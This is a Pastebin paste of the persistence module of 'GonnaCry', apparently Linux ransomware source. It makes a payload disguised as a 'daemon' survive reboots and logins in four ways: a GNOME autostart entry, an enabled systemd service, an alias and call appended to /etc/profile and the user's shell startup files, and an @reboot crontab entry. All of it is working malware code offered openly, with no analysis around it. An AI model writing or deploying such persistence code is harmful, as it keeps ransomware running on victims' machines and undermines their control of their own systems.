Advertisement
FlyFar

src/GonnaCry/persistence.py

Jun 26th, 2024
710
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.79 KB | Cybersecurity | 0 0
  1. import variables
  2.  
  3. import os
  4. import subprocess
  5. import shutil
  6.  
  7. def startup():
  8.     desktop = \
  9. '''[Desktop Entry]
  10. Type=Application
  11. Name=daemon
  12. Exec={}
  13. Icon=
  14. Comment=SystemManagement
  15. X-GNOME-Autostart-enabled=true
  16. '''.format(variables.daemon_path)
  17.  
  18.     with open(variables.daemon_desktop, 'w') as f:
  19.         f.write(desktop)
  20.  
  21.     startup_path = os.path.join(variables.home, '.config/autostart')
  22.     try:
  23.         os.mkdir(startup_path)
  24.     except:
  25.         pass
  26.  
  27.     shutil.copy2(variables.daemon_desktop, startup_path)
  28.  
  29.  
  30. def systemctl():
  31.     service = \
  32. '''Description=daemon
  33. Wants=network.target
  34. After=syslog.target network-online.target
  35. [Service]
  36. Type=simple
  37. ExecStart={}
  38. Restart=on-failure
  39. RestartSec=10
  40. KillMode=process
  41. [Install]
  42. WantedBy=multi-user.target'''.format(variables.daemon_path)
  43.  
  44.     with open(variables.daemon_service, 'w') as f:
  45.         f.write(service)
  46.  
  47.     try:
  48.         shutil.copy2(variables.daemon_service, '/lib/systemd/system/daemon.service')
  49.     except:
  50.         pass
  51.    
  52.     commands = 'systemctl daemon-reload; systemctl enable daemon.service; \
  53.        systemctl start daemon.service'
  54.        
  55.     os.system(commands)
  56.  
  57.  
  58. def bashrcs():
  59.     alias = "alias 'daemon'='{}';\n".format(variables.daemon_path)
  60.     daemon = "daemon;\n"
  61.  
  62.     paths = ['/etc/profile', '{}/.bash_profile', '{}/.bash_login',
  63.              '{}/.profile', '{}/.bashrc']
  64.     paths = [p.format(variables.home) for p in paths]
  65.  
  66.     for filepath in paths:
  67.         try:
  68.             with open(filepath, 'a') as f:
  69.                 f.write(alias)
  70.                 f.write(daemon)
  71.         except:
  72.             pass            
  73.  
  74.  
  75. def crontab():
  76.     command = '''(crontab -l 2>/dev/null; echo "@reboot {}") | crontab -'''.format(variables.daemon_path)
  77.     os.system(command)
  78.    
  79.    
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement